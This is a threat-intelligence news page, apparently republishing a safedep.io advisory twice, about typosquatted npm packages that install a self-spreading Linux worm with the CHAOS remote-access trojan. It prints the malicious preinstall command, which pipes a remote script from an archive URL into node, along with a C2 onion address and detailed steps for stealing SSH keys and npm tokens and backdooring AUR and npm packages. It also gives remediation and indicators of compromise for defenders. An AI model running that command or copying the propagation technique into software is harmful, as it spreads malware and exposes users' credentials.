/
← Voltar ao feed
critical technology software development

DirtyBlanket npm packages impersonating Express and React drop self-spreading Linux worm with CHAOS RAT backdoor

1 fonte(s) · 1 atualização(ões) · publicado 28/09/2026 21:00 · coletado há 1 dia

The npm account dirtyblanket published nine typosquatted packages on September 29, 2026 in 33 minutes, eight copying Express and one copying React. On Linux, a preinstall hook fetches node.js through the Internet Archive Wayback Machine, which pulls the worm linux.sh from Codeberg and runs it with bash. The worm installs CHAOS, an open-source RAT, as a fake systemd font service that communicates over Tor. It then spreads through SSH keys, Arch User Repository (AUR) packages and npm tokens found on the host. Any Linux machine that installed one of these packages, and every key and token on it, should be treated as compromised.

Technical Details

  • Stage one: all nine packages share the same preinstall line, curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. There is no version pin or integrity check, and the Wayback URL makes network logs show web.archive.org rather than Codeberg. The script does nothing on macOS and Windows (a Windows branch is commented out) and silently ignores errors. The Wayback capture of node.js is dated 2026-09-29 05:24:36 UTC, about 40 minutes before the first package, xeprews, was published at 06:05 UTC.
  • Stage two (linux.sh, 227 lines): runs in the background with output sent to /dev/null. As root it installs tor, openssh, git, npm and build tools (pacman or apt-get).
  • Backdoor persistence: the CHAOS client binary systemd-fontd is installed as systemd-fontrenderd in /usr/lib/systemd with a "Font Rendering Service" unit. chattr +i makes the binary and unit files immutable and KillMode=none is set. Without root, the worm downloads the Tor Expert Bundle 15.0.23 and creates user services systemd-fontrenderd and systemd-fontcached under ~/.config/systemd.
  • CHAOS binary: a 7.6 MB Go x86-64 binary (module github.com/tiagorlampert/CHAOS/client) with a stripped symbol table. Its config keys are renamed and it uses http.ProxyFromEnvironment with HTTP_PROXY=socks5://127.0.0.1:9050. It beacons to the onion service s5n2uyo6gb6dhirsm5pihwohi6e7ayrwojx4xjow4cqabmbowpezenid.onion:80 (GET /health, POST /device every 30 s, WebSocket /client). It provides a remote shell, file access and screenshots, and accepts any TLS certificate.
  • SSH propagation: the worm collects known_hosts files (including WSL Windows user paths) and every OpenSSH private key. It logs in to each host with BatchMode, as root and via each user's ssh config, and re-runs linux.sh on Linux hosts. Hashed known_hosts entries defeat this.
  • AUR propagation: it logs in to [email protected] with each key, runs list-repos and clones each maintained package. It bumps pkgrel, appends bash <(curl ...) to the .install file, impersonates the last commit author, skips GPG signing and pushes.
  • npm propagation: it finds every package.json on disk and adds the node.js download to preinstall. It then runs npm version patch and npm publish with each .npmrc token found, and restores the local package.json so the change is not visible locally.

Remediation

  • Treat any Linux host or CI runner that installed these packages as compromised. Rotate all SSH keys, npm tokens and AUR credentials reachable from it, and rebuild the host.
  • Hunt for systemd-fontrenderd, systemd-fontcached and systemd-fontd, the immutable attributes on those files, unexpected tor services, and the onion address.
  • Audit npm packages you maintain for unexpected new versions or preinstall hooks, and AUR packages for unexpected .install changes and pkgrel bumps.
  • Restrict egress to web.archive.org and Tor, and block lifecycle scripts in CI (for example --ignore-scripts).

Linha do tempo

  1. safedep.io ↗ · pub. 28/09/2026 21:00 · coletado 19/10 18:03 primeiro registro

    DirtyBlanket npm packages impersonating Express and React drop self-spreading Linux worm with CHAOS RAT backdoor

    ler a análise desta fonte

    The npm account dirtyblanket published nine typosquatted packages on September 29, 2026 in 33 minutes, eight copying Express and one copying React. On Linux, a preinstall hook fetches node.js through the Internet Archive Wayback Machine, which pulls the worm linux.sh from Codeberg and runs it with bash. The worm installs CHAOS, an open-source RAT, as a fake systemd font service that communicates over Tor. It then spreads through SSH keys, Arch User Repository (AUR) packages and npm tokens found on the host. Any Linux machine that installed one of these packages, and every key and token on it, should be treated as compromised.

    Technical Details

    • Stage one: all nine packages share the same preinstall line, curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. There is no version pin or integrity check, and the Wayback URL makes network logs show web.archive.org rather than Codeberg. The script does nothing on macOS and Windows (a Windows branch is commented out) and silently ignores errors. The Wayback capture of node.js is dated 2026-09-29 05:24:36 UTC, about 40 minutes before the first package, xeprews, was published at 06:05 UTC.
    • Stage two (linux.sh, 227 lines): runs in the background with output sent to /dev/null. As root it installs tor, openssh, git, npm and build tools (pacman or apt-get).
    • Backdoor persistence: the CHAOS client binary systemd-fontd is installed as systemd-fontrenderd in /usr/lib/systemd with a "Font Rendering Service" unit. chattr +i makes the binary and unit files immutable and KillMode=none is set. Without root, the worm downloads the Tor Expert Bundle 15.0.23 and creates user services systemd-fontrenderd and systemd-fontcached under ~/.config/systemd.
    • CHAOS binary: a 7.6 MB Go x86-64 binary (module github.com/tiagorlampert/CHAOS/client) with a stripped symbol table. Its config keys are renamed and it uses http.ProxyFromEnvironment with HTTP_PROXY=socks5://127.0.0.1:9050. It beacons to the onion service s5n2uyo6gb6dhirsm5pihwohi6e7ayrwojx4xjow4cqabmbowpezenid.onion:80 (GET /health, POST /device every 30 s, WebSocket /client). It provides a remote shell, file access and screenshots, and accepts any TLS certificate.
    • SSH propagation: the worm collects known_hosts files (including WSL Windows user paths) and every OpenSSH private key. It logs in to each host with BatchMode, as root and via each user's ssh config, and re-runs linux.sh on Linux hosts. Hashed known_hosts entries defeat this.
    • AUR propagation: it logs in to [email protected] with each key, runs list-repos and clones each maintained package. It bumps pkgrel, appends bash <(curl ...) to the .install file, impersonates the last commit author, skips GPG signing and pushes.
    • npm propagation: it finds every package.json on disk and adds the node.js download to preinstall. It then runs npm version patch and npm publish with each .npmrc token found, and restores the local package.json so the change is not visible locally.

    Remediation

    • Treat any Linux host or CI runner that installed these packages as compromised. Rotate all SSH keys, npm tokens and AUR credentials reachable from it, and rebuild the host.
    • Hunt for systemd-fontrenderd, systemd-fontcached and systemd-fontd, the immutable attributes on those files, unexpected tor services, and the onion address.
    • Audit npm packages you maintain for unexpected new versions or preinstall hooks, and AUR packages for unexpected .install changes and pkgrel bumps.
    • Restrict egress to web.archive.org and Tor, and block lifecycle scripts in CI (for example --ignore-scripts).